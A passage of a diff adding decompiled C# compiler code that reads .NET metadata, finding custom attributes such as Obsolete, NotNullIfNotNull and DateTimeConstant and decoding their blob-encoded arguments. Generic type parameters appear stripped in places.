BadImageFormatException || ex is UnsupportedSignatureContent) ? 1 : 0) != 0) + { + } + } + return UnmanagedCallersOnlyAttributeData.Create(callingConventionTypes); + } + + internal (ImmutableArray Names, bool FoundAttribute) GetInterpolatedStringHandlerArgumentAttributeValues(EntityHandle token) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.InterpolatedStringHandlerArgumentAttribute); + if (!attributeInfo.HasValue) + { + return (Names: default(ImmutableArray), FoundAttribute: false); + } + ImmutableArray value2; + if (attributeInfo.SignatureIndex == 0) + { + if (TryExtractStringValueFromAttribute(attributeInfo.Handle, out string value)) + { + return (Names: ImmutableArray.Create(value), FoundAttribute: true); + } + } + else if (TryExtractStringArrayValueFromAttribute(attributeInfo.Handle, out value2)) + { + return (Names: value2.NullToEmpty(), FoundAttribute: true); + } + return (Names: default(ImmutableArray), FoundAttribute: true); + } + + internal bool HasMaybeNullWhenOrNotNullWhenOrDoesNotReturnIfAttribute(EntityHandle token, AttributeDescription description, out bool when) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, description); + if (attributeInfo.HasValue && attributeInfo.SignatureIndex == 0) + { + return TryExtractValueFromAttribute(attributeInfo.Handle, out when, s_attributeBooleanValueExtractor); + } + when = false; + return false; + } + + internal ImmutableHashSet GetStringValuesOfNotNullIfNotNullAttribute(EntityHandle token) + { + List list = FindTargetAttributes(token, AttributeDescription.NotNullIfNotNullAttribute); + ImmutableHashSet immutableHashSet = ImmutableHashSet.Empty; + if (list == null) + { + return immutableHashSet; + } + foreach (AttributeInfo item in list) + { + if (TryExtractStringValueFromAttribute(item.Handle, out string value)) + { + immutableHashSet = immutableHashSet.Add(value); + } + } + return immutableHashSet; + } + + internal CustomAttributeHandle GetAttributeUsageAttributeHandle(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.AttributeUsageAttribute).Handle; + } + + internal bool HasInterfaceTypeAttribute(EntityHandle token, out ComInterfaceType interfaceType) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.InterfaceTypeAttribute); + if (attributeInfo.HasValue && TryExtractInterfaceTypeFromAttribute(attributeInfo, out interfaceType)) + { + return true; + } + interfaceType = ComInterfaceType.InterfaceIsDual; + return false; + } + + internal bool HasTypeLibTypeAttribute(EntityHandle token, out Microsoft.Cci.TypeLibTypeFlags flags) + { + AttributeInfo info = FindTargetAttribute(token, AttributeDescription.TypeLibTypeAttribute); + if (info.HasValue && TryExtractTypeLibTypeFromAttribute(info, out flags)) + { + return true; + } + flags = (Microsoft.Cci.TypeLibTypeFlags)0; + return false; + } + + internal bool HasDateTimeConstantAttribute(EntityHandle token, out ConstantValue defaultValue) + { + AttributeInfo attributeInfo = FindLastTargetAttribute(token, AttributeDescription.DateTimeConstantAttribute); + if (attributeInfo.HasValue && TryExtractLongValueFromAttribute(attributeInfo.Handle, out var value)) + { + long num = value; + DateTime minValue = DateTime.MinValue; + if (num >= minValue.Ticks) + { + long num2 = value; + minValue = DateTime.MaxValue; + if (num2 <= minValue.Ticks) + { + defaultValue = ConstantValue.Create(new DateTime(value)); + goto IL_005c; + } + } + defaultValue = ConstantValue.Bad; + goto IL_005c; + } + defaultValue = null; + return false; + IL_005c: + return true; + } + + internal bool HasDecimalConstantAttribute(EntityHandle token, out ConstantValue defaultValue) + { + AttributeInfo attributeInfo = FindLastTargetAttribute(token, AttributeDescription.DecimalConstantAttribute); + if (attributeInfo.HasValue && TryExtractDecimalValueFromDecimalConstantAttribute(attributeInfo.Handle, out var value)) + { + defaultValue = ConstantValue.Create(value); + return true; + } + defaultValue = null; + return false; + } + + internal bool HasNullablePublicOnlyAttribute(EntityHandle token, out bool includesInternals) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.NullablePublicOnlyAttribute); + if (attributeInfo.HasValue && TryExtractValueFromAttribute(attributeInfo.Handle, out var value, s_attributeBooleanValueExtractor)) + { + includesInternals = value; + return true; + } + includesInternals = false; + return false; + } + + internal ImmutableArray GetInternalsVisibleToAttributeValues(EntityHandle token) + { + List attrInfos = FindTargetAttributes(token, AttributeDescription.InternalsVisibleToAttribute); + return ExtractStringValuesFromAttributes(attrInfos)?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + internal ImmutableArray GetConditionalAttributeValues(EntityHandle token) + { + List attrInfos = FindTargetAttributes(token, AttributeDescription.ConditionalAttribute); + return ExtractStringValuesFromAttributes(attrInfos)?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + internal ImmutableArray GetMemberNotNullAttributeValues(EntityHandle token) + { + List list = FindTargetAttributes(token, AttributeDescription.MemberNotNullAttribute); + if (list == null || list.Count == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(list.Count); + foreach (AttributeInfo item in list) + { + if (item.SignatureIndex == 0) + { + if (TryExtractStringValueFromAttribute(item.Handle, out string value) && value != null) + { + instance.Add(value); + } + } + else + { + if (!TryExtractStringArrayValueFromAttribute(item.Handle, out ImmutableArray value2)) + { + continue; + } + ImmutableArray.Enumerator enumerator2 = value2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + if (current2 != null) + { + instance.Add(current2); + } + } + } + } + return instance.ToImmutableAndFree(); + } + + internal (ImmutableArray whenTrue, ImmutableArray whenFalse) GetMemberNotNullWhenAttributeValues(EntityHandle token) + { + List list = FindTargetAttributes(token, AttributeDescription.MemberNotNullWhenAttribute); + if (list == null || list.Count == 0) + { + return (whenTrue: ImmutableArray.Empty, whenFalse: ImmutableArray.Empty); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(list.Count); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(list.Count); + foreach (AttributeInfo item in list) + { + if (item.SignatureIndex == 0) + { + if (TryExtractValueFromAttribute(item.Handle, out var value, s_attributeBoolAndStringValueExtractor) && value.String != null) + { + (value.Sense ? instance : instance2).Add(value.String); + } + } + else + { + if (!TryExtractValueFromAttribute(item.Handle, out var value2, s_attributeBoolAndStringArrayValueExtractor)) + { + continue; + } + ArrayBuilder arrayBuilder = (value2.Sense ? instance : instance2); + ImmutableArray.Enumerator enumerator2 = value2.Strings.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + if (current2 != null) + { + arrayBuilder.Add(current2); + } + } + } + } + return (whenTrue: instance.ToImmutableAndFree(), whenFalse: instance2.ToImmutableAndFree()); + } + + private ArrayBuilder ExtractStringValuesFromAttributes(List attrInfos) + { + if (attrInfos == null) + { + return null; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(attrInfos.Count); + foreach (AttributeInfo attrInfo in attrInfos) + { + if (TryExtractStringValueFromAttribute(attrInfo.Handle, out string value) && value != null) + { + instance.Add(value); + } + } + return instance; + } + + private ObsoleteAttributeData? TryExtractObsoleteDataFromAttribute(AttributeInfo attributeInfo, IAttributeNamedArgumentDecoder decoder) + { + if (!TryGetAttributeReader(attributeInfo.Handle, out var blobReader)) + { + return null; + } + string value = null; + bool value2 = false; + switch (attributeInfo.SignatureIndex) + { + case 1: + if (blobReader.RemainingBytes <= 0 || !CrackStringInAttributeValue(out value, ref blobReader)) + { + return null; + } + break; + case 2: + if (blobReader.RemainingBytes <= 0 || !CrackStringInAttributeValue(out value, ref blobReader) || blobReader.RemainingBytes <= 0 || !CrackBooleanInAttributeValue(out value2, ref blobReader)) + { + return null; + } + break; + default: + throw ExceptionUtilities.UnexpectedValue(attributeInfo.SignatureIndex); + case 0: + break; + } + string diagnosticId; + string urlFormat; + if (blobReader.RemainingBytes > 0) + { + (diagnosticId, urlFormat) = CrackObsoleteProperties(ref blobReader, decoder); + } + else + { + diagnosticId = null; + urlFormat = null; + } + return new ObsoleteAttributeData(ObsoleteAttributeKind.Obsolete, value, value2, diagnosticId, urlFormat); + } + + private bool TryGetAttributeReader(CustomAttributeHandle handle, out BlobReader blobReader) + { + try + { + BlobHandle customAttributeValueOrThrow = GetCustomAttributeValueOrThrow(handle); + if (!customAttributeValueOrThrow.IsNil) + { + blobReader = MetadataReader.GetBlobReader(customAttributeValueOrThrow); + if (blobReader.Length >= 4 && blobReader.ReadInt16() == 1) + { + return true; + } + } + } + catch (BadImageFormatException) + { + } + blobReader = default(BlobReader); + return false; + } + + private ObsoleteAttributeData TryExtractDeprecatedDataFromAttribute(AttributeInfo attributeInfo) + { + byte signatureIndex = attributeInfo.SignatureIndex; + if ((uint)signatureIndex <= 3u) + { + if (!TryExtractValueFromAttribute(attributeInfo.Handle, out ObsoleteAttributeData value, s_attributeDeprecatedDataExtractor)) + { + return null; + } + return value; + } + throw ExceptionUtilities.UnexpectedValue(attributeInfo.SignatureIndex); + } + + private ObsoleteAttributeData TryExtractWindowsExperimentalDataFromAttribute(AttributeInfo attributeInfo) + { + if (attributeInfo.SignatureIndex == 0) + { + return ObsoleteAttributeData.WindowsExperimental; + } + throw ExceptionUtilities.UnexpectedValue(attributeInfo.SignatureIndex); + } + + private bool TryExtractInterfaceTypeFromAttribute(AttributeInfo attributeInfo, out ComInterfaceType interfaceType) + { + switch (attributeInfo.SignatureIndex) + { + case 0: + { + if (TryExtractValueFromAttribute(attributeInfo.Handle, out var value2, s_attributeShortValueExtractor) && IsValidComInterfaceType(value2)) + { + interfaceType = (ComInterfaceType)value2; + return true; + } + break; + } + case 1: + { + if (TryExtractValueFromAttribute(attributeInfo.Handle, out var value, s_attributeIntValueExtractor) && IsValidComInterfaceType(value)) + { + interfaceType = (ComInterfaceType)value; + return true; + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue(attributeInfo.SignatureIndex); + } + interfaceType = ComInterfaceType.InterfaceIsDual; + return false; + } + + private static bool IsValidComInterfaceType(int comInterfaceType) + { + if ((uint)comInterfaceType <= 3u) + { + return true; + } + return false; + } + + private bool TryExtractTypeLibTypeFromAttribute(AttributeInfo info, out Microsoft.Cci.TypeLibTypeFlags flags) + { + switch (info.SignatureIndex) + { + case 0: + { + if (TryExtractValueFromAttribute(info.Handle, out var value2, s_attributeShortValueExtractor)) + { + flags = (Microsoft.Cci.TypeLibTypeFlags)value2; + return true; + } + break; + } + case 1: + { + if (TryExtractValueFromAttribute(info.Handle, out var value, s_attributeIntValueExtractor)) + { + flags = (Microsoft.Cci.TypeLibTypeFlags)value; + return true; + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue(info.SignatureIndex); + } + flags = (Microsoft.Cci.TypeLibTypeFlags)0; + return false; + } + + internal bool TryExtractStringValueFromAttribute(CustomAttributeHandle handle, out string? value) + { + return TryExtractValueFromAttribute(handle, out value, s_attributeStringValueExtractor); + } + + internal bool TryExtractLongValueFromAttribute(CustomAttributeHandle handle, out long value) + { + return TryExtractValueFromAttribute(handle, out value, s_attributeLongValueExtractor); + } + + private bool TryExtractDecimalValueFromDecimalConstantAttribute(CustomAttributeHandle handle, out decimal value) + { + return TryExtractValueFromAttribute(handle, out value, s_decimalValueInDecimalConstantAttributeExtractor); + } + + private bool TryExtractStringAndIntValueFromAttribute(CustomAttributeHandle handle, out string? stringValue, out int intValue) + { + StringAndInt value; + bool result = TryExtractValueFromAttribute(handle, out value, s_attributeStringAndIntValueExtractor); + stringValue = value.StringValue; + intValue = value.IntValue; + return result; + } + + private bool TryExtractStringAndStringValueFromAttribute(CustomAttributeHandle handle, out string? string1Value, out string? string2Value) + { + (string, string) value; + bool result = TryExtractValueFromAttribute<(string, string)>(handle, out value, s_attributeStringAndStringValueExtractor); + (string1Value, string2Value) = value; + return result; + } + + private bool TryExtractBoolArrayValueFromAttribute(CustomAttributeHandle handle, out ImmutableArray value) + { + return TryExtractValueFromAttribute(handle, out value, s_attributeBoolArrayValueExtractor); + } + + private bool TryExtractByteArrayValueFromAttribute(CustomAttributeHandle handle, out ImmutableArray value) + { + return TryExtractValueFromAttribute(handle, out value, s_attributeByteArrayValueExtractor); + } + + private bool TryExtractStringArrayValueFromAttribute(CustomAttributeHandle handle, out ImmutableArray value) + { + return TryExtractValueFromAttribute(handle, out value, s_attributeStringArrayValueExtractor); + } + + private bool TryExtractValueFromAttribute(CustomAttributeHandle handle, out T? value, AttributeValueExtractor valueExtractor) + { + try + { + BlobHandle customAttributeValueOrThrow = GetCustomAttributeValueOrThrow(handle); + if (!customAttributeValueOrThrow.IsNil) + { + BlobReader sigReader = MetadataReader.GetBlobReader(customAttributeValueOrThrow); + if (sigReader.Length > 4 && sigReader.ReadByte() == 1 && sigReader.ReadByte() == 0) + { + return valueExtractor(out value, ref sigReader); + } + } + } + catch (BadImageFormatException) + { + } + value = default(T); + return false; + } + + internal bool HasStateMachineAttribute(MethodDefinitionHandle handle, out string stateMachineTypeName) + { + if (!HasStringValuedAttribute(handle, AttributeDescription.AsyncStateMachineAttribute, out stateMachineTypeName) && !HasStringValuedAttribute(handle, AttributeDescription.IteratorStateMachineAttribute, out stateMachineTypeName)) + { + return HasStringValuedAttribute(handle, AttributeDescription.AsyncIteratorStateMachineAttribute, out stateMachineTypeName); + } + return true; + } + + internal bool HasStringValuedAttribute(EntityHandle token, AttributeDescription description, out string value) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, description); + if (attributeInfo.HasValue) + { + return TryExtractStringValueFromAttribute(attributeInfo.Handle, out value); + } + value = null; + return false; + } + + private bool HasStringAndIntValuedAttribute(EntityHandle token, AttributeDescription description, out string stringValue, out int intValue) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, description); + if (attributeInfo.HasValue) + { + return TryExtractStringAndIntValueFromAttribute(attributeInfo.Handle, out stringValue, out intValue); + } + stringValue = null; + intValue = 0; + return false; + } + + internal bool IsNoPiaLocalType(TypeDefinitionHandle typeDef, out string interfaceGuid, out string scope, out string identifier) + { + if (!IsNoPiaLocalType(typeDef, out var attributeInfo)) + { + interfaceGuid = null; + scope = null; + identifier = null; + return false; + } + interfaceGuid = null; + scope = null; + identifier = null; + try + { + if (GetTypeDefFlagsOrThrow(typeDef).IsInterface()) + { + HasGuidAttribute(typeDef, out interfaceGuid); + } + if (attributeInfo.SignatureIndex == 1) + { + BlobHandle customAttributeValueOrThrow = GetCustomAttributeValueOrThrow(attributeInfo.Handle); + if (!customAttributeValueOrThrow.IsNil) + { + BlobReader sig = MetadataReader.GetBlobReader(customAttributeValueOrThrow); + if (sig.Length > 4 && sig.ReadInt16() == 1 && (!CrackStringInAttributeValue(out scope, ref sig) || !CrackStringInAttributeValue(out identifier, ref sig))) + { + return false; + } + } + } + return true; + } + catch (BadImageFormatException) + { + return false; + } + } + + private static (string? diagnosticId, string? urlFormat) CrackObsoleteProperties(ref BlobReader sig, IAttributeNamedArgumentDecoder decoder) + { + string text = null; + string text2 = null; + try + { + ushort num = sig.ReadUInt16(); + for (int i = 0; i < num; i++) + { + if (text != null && text2 != null) + { + break; + } + (KeyValuePair nameValuePair, bool isProperty, SerializationTypeCode typeCode, SerializationTypeCode elementTypeCode) tuple = decoder.DecodeCustomAttributeNamedArgumentOrThrow(ref sig); + KeyValuePairUtil.Deconstruct(tuple.nameValuePair, out var key, out var value); + string text3 = key; + TypedConstant typedConstant = value; + bool item = tuple.isProperty; + if (tuple.typeCode == SerializationTypeCode.String && item && typedConstant.ValueInternal is string text4) + { + if (text == null && text3 == "DiagnosticId") + { + text = text4; + } + else if (text2 == null && text3 == "UrlFormat") + { + text2 = text4; + } + } + } + } + catch (BadImageFormatException) + { + } + catch (UnsupportedSignatureContent) + { + } + return (diagnosticId: text, urlFormat: text2); + } + + private static bool CrackDeprecatedAttributeData([NotNullWhen(true)] out ObsoleteAttributeData? value, ref BlobReader sig) + { + if (CrackStringAndIntInAttributeValue(out var value2, ref sig)) + { + value = new ObsoleteAttributeData(ObsoleteAttributeKind.Deprecated, value2.StringValue, value2.IntValue == 1, null, null); + return true; + } + value = null; + return false; + } + + private static bool CrackStringAndIntInAttributeValue(out StringAndInt value, ref BlobReader sig) + { + value = default(StringAndInt); + if (CrackStringInAttributeValue(out value.StringValue, ref sig)) + { + return CrackIntInAttributeValue(out value.IntValue, ref sig); + } + return false; + } + + private static bool CrackStringAndStringInAttributeValue(out (string?, string?) value, ref BlobReader sig) + { + if (CrackStringInAttributeValue(out string value2, ref sig) && CrackStringInAttributeValue(out string value3, ref sig)) + { + value = (value2, value3); + return true; + } + value = default((string, string)); + return false; + } + + internal static bool CrackStringInAttributeValue(out string? value, ref BlobReader sig) + { + try + { + if (sig.TryReadCompressedInteger(out var value2) && sig.RemainingBytes >= value2) + { + value = sig.ReadUTF8(value2); + value = value.TrimEnd(new char[1]); + return true; + } + value = null; + return sig.RemainingBytes >= 1 && sig.ReadByte() == byte.MaxValue; + } + catch (BadImageFormatException) + { + value = null; + return false; + } + } + + internal static bool CrackStringArrayInAttributeValue(out ImmutableArray value, ref BlobReader sig) + { + if (sig.RemainingBytes >= 4) + { + uint num = sig.ReadUInt32(); + if (IsArrayNull(num)) + { + value = default(ImmutableArray); + return false; + } + string[] array = new string[num]; + for (int i = 0; i < num; i++) + { + if (!CrackStringInAttributeValue(out array[i], ref sig)) + { + value = array.AsImmutableOrNull(); + return false; + } + } + value = array.AsImmutableOrNull(); + return true; + } + value = default(ImmutableArray); + return false; + } + + private static bool IsArrayNull(uint length) + { + if (length == uint.MaxValue) + { + return true; + } + return false; + } + + private static bool CrackBoolAndStringArrayInAttributeValue(out BoolAndStringArrayData value, ref BlobReader sig) + { + if (CrackBooleanInAttributeValue(out var value2, ref sig) && CrackStringArrayInAttributeValue(out ImmutableArray value3, ref sig)) + { + value = new BoolAndStringArrayData(value2, value3); + return true; + } + value = default(BoolAndStringArrayData); + return false; + } + + private static bool CrackBoolAndStringInAttributeValue(out BoolAndStringData value, ref BlobReader sig) + { + if (CrackBooleanInAttributeValue(out var value2, ref sig) && CrackStringInAttributeValue(out string value3, ref sig)) + { + value = new BoolAndStringData(value2, value3); + return true; + } + value = default(BoolAndStringData); + return false; + } + + private static bool CrackBoolAndBoolInAttributeValue(out (bool, bool) value, ref BlobReader sig) + { + if (CrackBooleanInAttributeValue(out var value2, ref sig) && CrackBooleanInAttributeValue(out var value3, ref sig)) + { + value = (value2, value3); + return true; + } + value = default((bool, bool)); + return false; + } + + private static bool CrackBooleanInAttributeValue(out bool value, ref BlobReader sig) + { + if (sig.RemainingBytes >= 1) + { + value = sig.ReadBoolean(); + return true; + } + value = false; + return false; + } + + private static bool CrackByteInAttributeValue(out byte value, ref BlobReader sig) + { + if (sig.RemainingBytes >= 1) + { + value = sig.ReadByte(); + return true; + } + value = byte.MaxValue; + return false; + } + + private static bool CrackShortInAttributeValue(out short value, ref BlobReader sig) + { + if (sig.RemainingBytes >= 2) + { + value = sig.ReadInt16(); + return true; + } + value = -1; + return false; + } + + private static bool CrackIntInAttributeValue(out int value, ref BlobReader sig) + { + if (sig.RemainingBytes >= 4) + { + value = sig.ReadInt32(); + return true; + } + value = -1; + return false; + } + + private static bool CrackLongInAttributeValue(out long value, ref BlobReader sig) + { + if (sig.RemainingBytes >= 8) + { + value = sig.ReadInt64(); + return true; + } + value = -1L; + return false; + } + + private static bool CrackDecimalInDecimalConstantAttribute(out decimal value, ref BlobReader sig) + { + if (CrackByteInAttributeValue(out var value2, ref sig) && CrackByteInAttributeValue(out var value3, ref sig) && CrackIntInAttributeValue(out var value4, ref sig) && CrackIntInAttributeValue(out var value5, ref sig) && CrackIntInAttributeValue(out var value6, ref sig)) + { + value = new decimal(value6, value5, value4, value3 != 0, value2); + return true; + } + value = -1m; + return false; + } + + private static bool CrackBoolArrayInAttributeValue(out ImmutableArray value, ref BlobReader sig) + { + if (sig.RemainingBytes >= 4) + { + uint num = sig.ReadUInt32(); + if (IsArrayNull(num)) + { + value = default(ImmutableArray); + return false; + } + if (sig.RemainingBytes >= num) + { + ArrayBuilder instance = ArrayBuilder.GetInstance((int)num); + for (int i = 0; i < num; i++) + { + instance.Add(sig.ReadByte() == 1); + } + value = instance.ToImmutableAndFree(); + return true; + } + } + value = default(ImmutableArray); + return false; + } + + private static bool CrackByteArrayInAttributeValue(out ImmutableArray value, ref BlobReader sig) + { + if (sig.RemainingBytes >= 4) + { + uint num = sig.ReadUInt32(); + if (IsArrayNull(num)) + { + value = default(ImmutableArray); + return false; + } + if (sig.RemainingBytes >= num) + { + ArrayBuilder instance = ArrayBuilder.GetInstance((int)num); + for (int i = 0; i < num; i++) + { + instance.Add(sig.ReadByte()); + } + value = instance.ToImmutableAndFree(); + return true; + } + } + value = default(ImmutableArray); + return false; + } + + internal List? FindTargetAttributes(EntityHandle hasAttribute, AttributeDescription description) + { + List list = null; + try + { + foreach (CustomAttributeHandle customAttribute in MetadataReader.GetCustomAttributes(hasAttribute)) + { + int targetAttributeSignatureIndex = GetTargetAttributeSignatureIndex(customAttribute, description); + if (targetAttributeSignatureIndex != -1) + { + if (list == null) + { + list = new List(); + } + list.Add(new AttributeInfo(customAttribute, targetAttributeSignatureIndex)); + } + } + } + catch (BadImageFormatException) + { + } + return list; + } + + internal AttributeInfo FindTargetAttribute(EntityHandle hasAttribute, AttributeDescription description) + { + bool foundAttributeType; + return FindTargetAttribute(MetadataReader, hasAttribute, description, out foundAttributeType); + } + + internal static AttributeInfo FindTargetAttribute(MetadataReader metadataReader, EntityHandle hasAttribute, AttributeDescription description, out bool foundAttributeType) + { + foundAttributeType = false; + try + { + foreach (CustomAttributeHandle customAttribute in metadataReader.GetCustomAttributes(hasAttribute)) + { + bool matchedAttributeType; + int targetAttributeSignatureIndex = GetTargetAttributeSignatureIndex(metadataReader, customAttribute, description, out matchedAttributeType); + if (matchedAttributeType) + { + foundAttributeType = true; + } + if (targetAttributeSignatureIndex != -1) + { + return new AttributeInfo(customAttribute, targetAttributeSignatureIndex); + } + } + } + catch (BadImageFormatException) + { + } + return default(AttributeInfo); + } + + internal AttributeInfo FindLastTargetAttribute(EntityHandle hasAttribute, AttributeDescription description) + { + try + { + AttributeInfo result = default(AttributeInfo); + foreach (CustomAttributeHandle customAttribute in MetadataReader.GetCustomAttributes(hasAttribute)) + { + int targetAttributeSignatureIndex = GetTargetAttributeSignatureIndex(customAttribute, description); + if (targetAttributeSignatureIndex != -1) + { + result = new AttributeInfo(customAttribute, targetAttributeSignatureIndex); + } + } + return result; + } + catch (BadImageFormatException) + { + } + return default(AttributeInfo); + } + + internal int GetParamArrayCountOrThrow(EntityHandle hasAttribute) + { + int num = 0; + foreach (CustomAttributeHandle customAttribute in MetadataReader.GetCustomAttributes(hasAttribute)) + { + if (GetTargetAttributeSignatureIndex(customAttribute, AttributeDescription.ParamArrayAttribute) != -1) + { + num++; + } + } + return num; + } + + private bool IsNoPiaLocalType(TypeDefinitionHandle typeDef, out AttributeInfo attributeInfo) + { + if (_lazyContainsNoPiaLocalTypes == ThreeState.False) + { + attributeInfo = default(AttributeInfo); + return false; + } + if (_lazyNoPiaLocalTypeCheckBitMap != null && _lazyTypeDefToTypeIdentifierMap != null) + { + int rowNumber = MetadataReader.GetRowNumber(typeDef); + int num = rowNumber / 32; + int num2 = 1 << rowNumber % 32; + if ((_lazyNoPiaLocalTypeCheckBitMap[num] & num2) != 0) + { + return _lazyTypeDefToTypeIdentifierMap.TryGetValue(typeDef, out attributeInfo); + } + } + try + { + foreach (CustomAttributeHandle customAttribute in MetadataReader.GetCustomAttributes(typeDef)) + { + int num3 = IsTypeIdentifierAttribute(customAttribute); + if (num3 != -1) + { + _lazyContainsNoPiaLocalTypes = ThreeState.True; + RegisterNoPiaLocalType(typeDef, customAttribute, num3); + attributeInfo = new AttributeInfo(customAttribute, num3); + return true; + } + } + } + catch (BadImageFormatException) + { + } + RecordNoPiaLocalTypeCheck(typeDef); + attributeInfo = default(AttributeInfo); + return false; + } + + private void RegisterNoPiaLocalType(TypeDefinitionHandle typeDef, CustomAttributeHandle customAttribute, int signatureIndex) + { + if (_lazyNoPiaLocalTypeCheckBitMap == null) + { + Interlocked.CompareExchange(ref _lazyNoPiaLocalTypeCheckBitMap, new int[(MetadataReader.TypeDefinitions.Count + 32) / 32], null); + } + if (_lazyTypeDefToTypeIdentifierMap == null) + { + Interlocked.CompareExchange(ref _lazyTypeDefToTypeIdentifierMap, new ConcurrentDictionary(), null); + } + _lazyTypeDefToTypeIdentifierMap.TryAdd(typeDef, new AttributeInfo(customAttribute, signatureIndex)); + RecordNoPiaLocalTypeCheck(typeDef); + } + + private void RecordNoPiaLocalTypeCheck(TypeDefinitionHandle typeDef) + { + if (_lazyNoPiaLocalTypeCheckBitMap != null) + { + int rowNumber = MetadataTokens.GetRowNumber(typeDef); + int num = rowNumber / 32; + int num2 = 1 << rowNumber % 32; + int num3; + do + { + num3 = _lazyNoPiaLocalTypeCheckBitMap[num]; + } + while (Interlocked.CompareExchange(ref _lazyNoPiaLocalTypeCheckBitMap[num], num3 | num2, num3) != num3); + } + } + + private int IsTypeIdentifierAttribute(CustomAttributeHandle customAttribute) + { + try + { + if (MetadataReader.GetCustomAttribute(customAttribute).Parent.Kind != HandleKind.TypeDefinition) + { + return -1; + } + return GetTargetAttributeSignatureIndex(customAttribute, AttributeDescription.TypeIdentifierAttribute); + } + catch (BadImageFormatException) + { + return -1; + } + } + + internal bool IsTargetAttribute(CustomAttributeHandle customAttribute, string namespaceName, string typeName, out EntityHandle ctor, bool ignoreCase = false) + { + return IsTargetAttribute(MetadataReader, customAttribute, namespaceName, typeName, out ctor, ignoreCase); + } + + private static bool IsTargetAttribute(MetadataReader metadataReader, CustomAttributeHandle customAttribute, string namespaceName, string typeName, out EntityHandle ctor, bool ignoreCase) + { + if (!GetTypeAndConstructor(metadataReader, customAttribute, out var ctorType, out ctor)) + { + return false; + } + if (!GetAttributeNamespaceAndName(metadataReader, ctorType, out var namespaceHandle, out var nameHandle)) + { + return false; + } + try + { + return StringEquals(metadataReader, nameHandle, typeName, ignoreCase) && StringEquals(metadataReader, namespaceHandle, namespaceName, ignoreCase); + } + catch (BadImageFormatException) + { + return false; + } + } + + internal AssemblyReferenceHandle GetAssemblyRef(string assemblyName) + { + try + { + foreach (AssemblyReferenceHandle assemblyReference in MetadataReader.AssemblyReferences) + { + if (MetadataReader.StringComparer.Equals(MetadataReader.GetAssemblyReference(assemblyReference).Name, assemblyName)) + { + return assemblyReference; + } + } + } + catch (BadImageFormatException) + { + } + return default(AssemblyReferenceHandle); + } + + internal AssemblyReference GetAssemblyRef(AssemblyReferenceHandle assemblyRef) + { + return MetadataReader.GetAssemblyReference(assemblyRef); + } + + internal EntityHandle GetTypeRef(EntityHandle resolutionScope, string namespaceName, string typeName) + { + try + { + foreach (TypeReferenceHandle typeReference2 in MetadataReader.TypeReferences) + { + TypeReference typeReference = MetadataReader.GetTypeReference(typeReference2); + if (!(typeReference.ResolutionScope != resolutionScope) && MetadataReader.StringComparer.Equals(typeReference.Name, typeName) && MetadataReader.StringComparer.Equals(typeReference.Namespace, namespaceName)) + { + return typeReference2; + } + } + } + catch (BadImageFormatException) + { + } + return default(TypeReferenceHandle); + } + + public void GetTypeRefPropsOrThrow(TypeReferenceHandle handle, out string name, out string @namespace, out EntityHandle resolutionScope) + { + TypeReference typeReference = MetadataReader.GetTypeReference(handle); + resolutionScope = typeReference.ResolutionScope; + name = MetadataReader.GetString(typeReference.Name); + @namespace = MetadataReader.GetString(typeReference.Namespace); + } + + internal int GetTargetAttributeSignatureIndex(CustomAttributeHandle customAttribute, AttributeDescription description) + { + bool matchedAttributeType; + return GetTargetAttributeSignatureIndex(MetadataReader, customAttribute, description, out matchedAttributeType); + } + + private static int GetTargetAttributeSignatureIndex(MetadataReader metadataReader, CustomAttributeHandle customAttribute, AttributeDescription description, out bool matchedAttributeType) + { + if (!IsTargetAttribute(metadataReader, customAttribute, description.Namespace, description.Name, out var ctor, description.MatchIgnoringCase)) + { + matchedAttributeType = false; + return -1; + } + matchedAttributeType = true; + try + { + BlobReader blobReader = metadataReader.GetBlobReader(GetMethodSignatureOrThrow(metadataReader, ctor)); + for (int i = 0; i < description.Signatures.Length; i++) + { + byte[] array = description.Signatures[i]; + blobReader.Reset(); + if (blobReader.RemainingBytes < 3 || blobReader.ReadByte() != array[0] || blobReader.ReadByte() != array[1] || blobReader.ReadByte() != array[2]) + { + continue; + } + int j; + for (j = 3; j < array.Length; j++) + { + if (blobReader.RemainingBytes == 0) + { + break; + } + SignatureTypeCode signatureTypeCode = blobReader.ReadSignatureTypeCode(); + if ((uint)array[j] != (uint)signatureTypeCode) + { + break; + } + if (signatureTypeCode == SignatureTypeCode.SZArray || signatureTypeCode != SignatureTypeCode.TypeHandle) + { + continue; + } + EntityHandle entityHandle = blobReader.ReadTypeHandle(); + HandleKind kind = entityHandle.Kind; + StringHandle name; + StringHandle nameHandle; + if (kind == HandleKind.TypeDefinition) + { + TypeDefinitionHandle typeDefinitionHandle = (TypeDefinitionHandle)entityHandle; + if (IsNestedTypeDefOrThrow(metadataReader, typeDefinitionHandle)) + { + break; + } + TypeDefinition typeDefinition = metadataReader.GetTypeDefinition(typeDefinitionHandle); + name = typeDefinition.Name; + nameHandle = typeDefinition.Namespace; + } + else + { + if (kind != HandleKind.TypeReference) + { + break; + } + TypeReference typeReference = metadataReader.GetTypeReference((TypeReferenceHandle)entityHandle); + if (typeReference.ResolutionScope.Kind == HandleKind.TypeReference) + { + break; + } + name = typeReference.Name; + nameHandle = typeReference.Namespace; + } + AttributeDescription.TypeHandleTargetInfo typeHandleTargetInfo = AttributeDescription.TypeHandleTargets[array[j + 1]]; + if (!StringEquals(metadataReader, nameHandle, typeHandleTargetInfo.Namespace, ignoreCase: false) || !StringEquals(metadataReader, name, typeHandleTargetInfo.Name, ignoreCase: false)) + { + break; + } + j++; + } + if (blobReader.RemainingBytes == 0 && j == array.Length) + { + return i; + } + } + } + catch (BadImageFormatException) + { + } + return -1; + } + + 